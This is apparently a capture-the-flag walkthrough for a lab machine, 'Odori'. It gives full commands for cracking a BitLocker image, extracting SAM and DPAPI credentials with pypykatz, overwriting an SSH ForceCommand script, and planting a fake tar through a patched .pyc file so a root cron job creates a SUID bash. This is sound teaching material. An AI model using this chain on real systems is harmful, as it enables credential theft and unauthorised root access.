Description

Odori is a medium-difficulty machine that features:

  • BitLocker volume decryption and offline password cracking
  • DPAPI master key extraction to decrypt stored credentials
  • Credential extraction from offline SAM, SYSTEM, and SECURITY registry hives using pypykatz
  • SFTP access via a service account with restricted interactive shell
  • SSH ForceCommand bypass by modifying a world-writable restrict script
  • Preivilege Escalation via Python compiled bytecode manipulation through a writable __pycache__ directory

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.154.124.

$ ping -c 3 10.129.154.124
PING 10.129.154.124 (10.129.154.124) 56(84) bytes of data.
64 bytes from 10.129.154.124: icmp_seq=1 ttl=63 time=44.8 ms
64 bytes from 10.129.154.124: icmp_seq=2 ttl=63 time=45.7 ms
64 bytes from 10.129.154.124: icmp_seq=3 ttl=63 time=45.2 ms

--- 10.129.154.124 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 44.833/45.225/45.668/0.342 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.154.124 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.154.124
Host is up (0.047s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds

We get three open ports: 22, 139 and 445.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.154.124 -sV -sC -p22,139,445 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.154.124
Host is up (0.045s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af (ECDSA)
|_  256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: ODORI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|_  start_date: N/A
|_clock-skew: -7s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.24 seconds

The results reveal SSH on port 22 and SMB on ports 139 and 445, indicating a Linux host running Samba. The NetBIOS name ODORI and the presence of Samba on a Linux host confirm the operating system family. SMB enumeration is conducted using smbclient to list available shares.

$ smbclient -L 10.129.154.124
Password for [WORKGROUP\user]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        backup          Disk      Server Backups
        IPC$            IPC       IPC Service (odori server (Samba, Ubuntu))

Anonymous access is permitted to the backup share. Listing the contents of this share reveals a single file:

$ smbclient -N '//10.129.154.124/backup'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun 25 15:19:15 2025
  ..                                  D        0  Fri Apr 24 13:59:37 2026
  info.txt                            N       66  Wed Jun 25 15:18:44 2025

                7533016 blocks of size 1024. 2864764 blocks available
smb: \> get info.txt
getting file \info.txt of size 66 as info.txt (0,3 KiloBytes/sec) (average 0,3 KiloBytes/sec)
$ cat info.txt  
Please download the .vmdk file linked in the machine description.

The info.txt file directs the to download a .vmdk disk image referenced in the machine description. This file is a VMware virtual disk image containing a Windows system protected by BitLocker encryption.

Exploitation

The exploitation begins with the BitLocker-encrypted .vmdk disk image. Since the disk was encrypted on a system without a Trusted Platform Module (TPM), the BitLocker recovery password hash can be extracted directly from the volume metadata using bitlocker2john, a utility that parses the BitLocker volume descriptor and outputs a format compatible with John the Ripper.

$ bitlocker2john -i /mnt/hgfs/VMs/file02.vmdk | tee bitlocker_hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=bitlocker bitlocker_hash
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789        (?)     
123456789        (?)     
2g 0:00:01:56 0.01% 0.01712g/s 10.27p/s 20.68c/s 20.68C/s camilo..buttons
Session aborted

We find that the cracked password 123456789 is then used to unlock the BitLocker volume, which can be added as a new virtual hard disk in VMware Workstation, to be accessed in our Linux virtual machine. After a reboot we see it.

$ lsblk
NAME                  MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINTS
...
sdb                     8:16   0    20G  0 disk  
├─sdb1                  8:17   0   100M  0 part  
├─sdb2                  8:18   0    16M  0 part  
├─sdb3                  8:19   0  19,4G  0 part  
└─sdb4                  8:20   0   524M  0 part  

We proceed to mount the partition. In this case the volume to mount is /dev/sdb3.

$ sudo cryptsetup open --type bitlk /dev/sdb3 bitlocker_volume
$ mkdir bitlocker_volume
$ sudo mount -o ro /dev/mapper/bitlocker_volume ./bitlocker_volume  
$ ls bitlocker_volume
'$Recycle.Bin'   Config  'Documents and Settings'   pagefile.sys  'Program Files'         ProgramData   Scripts                      Users
'$WinREAgent'    Data     DumpStack.log.tmp         PerfLogs      'Program Files (x86)'   Recovery     'System Volume Information'   Windows

Mounted and decrypted, the disk image reveals a PowerShell backup script at \Scripts\backup.ps1 that performs file transfers to the remote SMB share \\odori.vl\backup.

$ ls bitlocker_volume/Scripts
$ cat bitlocker_volume/Scripts/backup.ps1 
# Odori Backup Script

<#

# Backup via SFTP

# Install and Import Posh-SSH module if not already installed
# Install-Module -Name Posh-SSH -Force -Scope CurrentUser

$SFTPServer = "odori.vl"
$SFTPPort = 22
$SFTPUser = "svc_backup"
$SFTPPassword = "***"
$SFTPRemoteFolder = "/backup"


try {
    $SFTPSession = New-SFTPSession -ComputerName $SFTPServer -Port $SFTPPort -Credential (New-Object PSCredential($SFTPUser, (ConvertTo-SecureString $SFTPPassword -AsPlainText -Force)))
    Write-Host "Starting backup via SFTP..."
    Set-SFTPItem -SessionId $SFTPSession.SessionId -LocalPath "$SourceFolder\*" -RemotePath $SFTPRemoteFolder -Recurse
    Write-Host "Backup via SFTP completed successfully."
    Remove-SFTPSession -SessionId $SFTPSession.SessionId
} catch {
    Write-Host "Error during SFTP backup: $($_.Exception.Message)"
}
#>

# Backup via SMB

$SourceFolder = "C:\data"
$DestinationFolder = "\\odori.vl\backup"

if (-not (Test-Path -Path $DestinationFolder)) {
    New-Item -ItemType Directory -Path $DestinationFolder -Force
}

Write-Host "Starting backup via SMB..."
try {
    Copy-Item -Path $SourceFolder\* -Destination $DestinationFolder -Recurse -Force
    Write-Host "Backup completed successfully."
} catch {
    Write-Host "Error during backup: $($_.Exception.Message)"
}

The script references the svc_backup service account, which is the likely identity used for automated backups. However, the password is obscured in the script. To recover it, the SAM, SYSTEM, and SECURITY registry hives are extracted from the disk image and parsed offline using pypykatz:

$ cd bitlocker_volume
$ pypykatz registry --sam Windows/System32/config/SAM --security Windows/System32/config/SECURITY Windows/System32/config/SYSTEM
...
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: ed44fa9df4c6a93d1ebe33bff5083393
============== SAM hive secrets ==============
HBoot Key: 19961b424e3faa0615ad96920fc51aba10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b56b03d0393ad23e2a893f1c754b0719:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:63d7c1f6a1a8378eba2ee87246bf7140:::
svc_backup:1000:aad3b435b51404eeaad3b435b51404ee:be3071bd4cce75e2bbd3c79c7ec5380e:::
============== SECURITY hive secrets ==============
Iteration count: 10240
Secrets structure format : VISTA
LSA Key: 0969bdaf9988932f6c3aa0272ce011418f39df5a97459f7a27cf5094771d5bf2
NK$LM Key: 40000000000000000000000000000000e1180ce950d9c9d998051a78d3756fd790188f7ee4784464efba43e624786047791ea8b2bc1c518be2214d7e257f3975779f39e0d3c87872a9886e05a2421b7f97b4c1455c71eda626811433561249b6
=== LSA DPAPI secret ===
History: False
Machine key (hex): b7db177e591e961acac578175c1139626e36b40b
User key(hex): e72f58588ec7fe6a0733db679d91fee53a3a1896
=== LSA DPAPI secret ===
History: True
Machine key (hex): 3e267a597c87a213df0234f5081ed72b54d20d9a
User key(hex): 474b67edd984544c0d188a0408d6a5532c5374d4
...

This confirms the existence of the svc_backup account but does not yield its password hash in a crackable format. But we find the DPAPI keys for the machine, b7db177e591e961acac578175c1139626e36b40b and for the user, e72f58588ec7fe6a0733db679d91fee53a3a1896. The next step involves finding DPAPI-protected credential files stored in the system profile:

$ ls Windows/System32/config/systemprofile/AppData/Local/Microsoft/Credentials 
DFBE70A7E5CC19A398EBF1B96859CE5D  FB28D44A1080F4C10BF3530DD6D7B9E1

We find two credentials, with DFBE70A7E5CC19A398EBF1B96859CE5D and FB28D44A1080F4C10BF3530DD6D7B9E1 identifiers. Now we need to find which masterkey encrypts the saved credentials.

$ pypykatz dpapi describe credential Windows/System32/config/systemprofile/AppData/Local/Microsoft/Credentials/DFBE70A7E5CC19A398EBF1B96859CE5D
...
masterkey_guid: bb3025a7-e7d7-405e-bb83-13113f771deb
...
$ pypykatz dpapi describe credential Windows/System32/config/systemprofile/AppData/Local/Microsoft/Credentials/FB28D44A1080F4C10BF3530DD6D7B9E1
...
masterkey_guid: bb3025a7-e7d7-405e-bb83-13113f771deb 
...

Both credentials are encrypted with the masterkey with GUID bb3025a7-e7d7-405e-bb83-13113f771deb, which is found in the Windows/System32/Microsoft/Protect/S-1-5-18/User/bb3025a7-e7d7-405e-bb83-13113f771deb directory. The next step involves decrypting the master key of the SYSTEM user with the user key we obtained previously.

$ pypykatz dpapi masterkey -o ../masterkey.txt Windows/System32/Microsoft/Protect/S-1-5-18/User/bb3025a7-e7d7-405e-bb83-13113f771deb e72f58588ec7fe6a0733db679d91fee53a3a1896
$ cat ../masterkey.txt                   
{
    "backupkeys": {},
    "masterkeys": {
        "bb3025a7-e7d7-405e-bb83-13113f771deb": "cf24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c2804868d08101865c"
    }
}

With the cf24245... decrypted masterkey we can decrypt the credentials. We find a clear-key credential in the FB28D44A1080F4C10BF3530DD6D7B9E1 file.

$ pypykatz dpapi credential ../masterkey.txt Windows/System32/config/systemprofile/AppData/Local/Microsoft/Credentials/FB28D44A1080F4C10BF3530DD6D7B9E1 
type : DOMAIN_PASSWORD (2)
last_written : 133810756602155458
target : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
username : FILE02\svc_backup
unknown4 : b'N\x00a\x00p\x00p\x00i\x00n\x00g\x002\x00C\x00u\x00r\x00a\x00t\x00o\x00r\x00'

We format it to remove the Unicode escape characters.

$ pypykatz dpapi credential ../masterkey.txt Windows/System32/config/systemprofile/AppData/Local/Microsoft/Credentials/FB28D44A1080F4C10BF3530DD6D7B9E1 | tail -2 | tr -d '\x00' | tr -d '\'
unknown4 : b'Napping2Curator'

The plaintext password for svc_backup is revealed as Napping2Curator. We unmount the Windows image as it is not longer required.

$ cd ..
$ sudo umount bitlocker_volume; rm -r bitlocker_volume

With these credentials, an SSH connection is attempted:

$ ssh svc_backup@10.129.154.124
...
Connection to 10.129.154.124 closed.

However, the connection hangs after authentication, indicating that the account is restricted from obtaining an interactive shell. We move to connect to the machine using SFTP.

$ sftp svc_backup@10.129.154.124
svc_backup@10.129.154.124's password: 
Connected to 10.129.154.124.
...
sftp> pwd
Remote working directory: /home/svc_backup

Examining the SSH configuration file at /etc/ssh/sshd_config reveals a ForceCommand directive targeting the svc_backup group:

Match group svc_backup
        #ChrootDirectory /backup
        ForceCommand /opt/restrict /home/%u
        AllowTcpForwarding no

The ForceCommand directive forces execution of /opt/restrict upon login, which in turn invokes the SFTP server:

$ cat restrict 
#!/bin/bash
/usr/lib/openssh/sftp-server -d $1

The script is owned by svc_backup and has write permissions, allowing modification:

sftp> ls -l /opt/restrict
-rwxrwxr-x    ? 1001     0              48 Jan 11  2025 /opt/restrict

The restrict script is downloaded and modified to spawn a shell.

$ echo -e '#!/bin/bash\nbash' > restrict

The is uploaded back to the remote host.

sftp> put restrict /opt/restrict
Uploading restrict to /opt/restrict

Reconnecting via SSH now provides an interactive shell as svc_backup:

$ ssh svc_backup@10.129.154.124
svc_backup@odori:~$ id
uid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)

Post-Exploitation

Enumeration of the filesystem reveals two notable directories:

svc_backup@odori:~$ ls -l /
total 72
drwxr-xr-x   2 root       root  4096 Apr 24  2026 archive
drwxrwxr-x   2 svc_backup root  4096 Jun 25  2025 backup
...

The /backup directory is writable by svc_backup, while /archive is owned by root. This pattern suggests a file processing workflow where files are placed in /backup and later moved to /archive by a privileged process. To identify scheduled tasks or cron jobs, the pspy64 binary is transferred to the target and executed:

svc_backup@odori:~$ /tmp/pspy64
...
CMD: UID=0 PID=2 | 
CMD: UID=0 PID=1 | /sbin/init 
CMD: UID=0 PID=1756 | /usr/sbin/CRON -f -P
CMD: UID=0 PID=1757 | /usr/sbin/CRON -f -P
CMD: UID=0 PID=1758 | python3 /opt/archiver/app.py

A root-owned cron job executes /opt/archiver/app.py every minute. The script scans /backup for files older than three years and moves them to /archive:

svc_backup@odori:~$ cat /opt/archiver/app.py
import os
from datetime import datetime, timedelta
from helper import tar_and_move_files

backup_dir = '/backup'
archive_dir = '/archive'
threshold_date = datetime.now() - timedelta(days=3*365)

def scan_and_archive_files():
    if not os.path.exists(archive_dir):
        os.makedirs(archive_dir)
    for root, dirs, files in os.walk(backup_dir):
        for file in files:
            file_path = os.path.join(root, file)
            file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
            if file_mod_time < threshold_date:
                print(f'Moving {file_path} to archive...')
                tar_and_move_files(file_path, archive_dir)
            else:
                print(f'{file_path} is not old enough to archive.')

if __name__ == '__main__':
    scan_and_archive_files()

The helper function in helper.py uses subprocess.Popen to invoke /usr/bin/tar:

svc_backup@odori:~$ cat /opt/archiver/helper.py
import os
import subprocess
from datetime import datetime

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)

At first glance, the scripts appear secure. However, examining the directory permissions reveals a critical misconfiguration:

svc_backup@odori:~$ ls -la /opt/archiver/
total 20
drwxr-xr-x 3 root root 4096 Apr 24  2026 .
drwxr-xr-x 3 root root 4096 Apr 24  2026 ..
-rw-r--r-- 1 root root  812 Jan 11  2025 app.py
-rw-r--r-- 1 root root  412 Jan 16  2025 helper.py
drwxr-xrwx 2 root root 4096 Apr 24  2026 __pycache__

svc_backup@odori:~$ ls -la /opt/archiver/__pycache__/
total 12
drwxr-xrwx 2 root root 4096 Apr 24  2026 .
drwxr-xr-x 3 root root 4096 Apr 24  2026 ..
-rw-r--r-- 1 root root  566 Jan 16  2025 helper.cpython-310.pyc

The __pycache__ directory is world-writable. Python automatically compiles imported modules into bytecode and stores them in this directory. Since app.py imports helper.py, the compiled file helper.cpython310.pyc is used during execution. By manipulating this cached bytecode, an attacker can influence the script’s behavior without modifying the source code.

Rather than attempting complex bytecode manipulation, a simpler approach is taken: modifying a string within the .pyc file to redirect the tar command path from /usr/bin/tar to /tmp/bin/tar:

svc_backup@odori:~$ sed -i 's|/usr/bin/tar|/tmp/bin/tar|' /opt/archiver/__pycache__/helper.cpython-310.pyc

A malicious tar binary is created at /tmp/bin/tar that sets the SUID bit on a copies Bash binary /tmp/suid-bash:

svc_backup@odori:~$ mkdir /tmp/bin
svc_backup@odori:~$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/suid-bash\nchmod u+s /tmp/suid-bash' > /tmp/bin/tar
svc_backup@odori:~$ chmod +x /tmp/bin/tar

To ensure the archiving process is triggered, a file with a modification timestamp older than three years is placed in /backup:

svc_backup@odori:~$ touch -d '2020-01-01 00:00:00.000000000 +0000' /backup/old_file

When the cron job executes, it processes the file and calls the modified /tmp/bin/tar script. A root shell is then spawned:

svc_backup@odori:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)

Flags

With the root shell we can retrieve the user.txt and root.txt flags.

suid-bash-5.1# cat /home/svc_backup/user.txt 
<REDACTED>
suid-bash-5.1# cat /root/root.txt 
<REDACTED>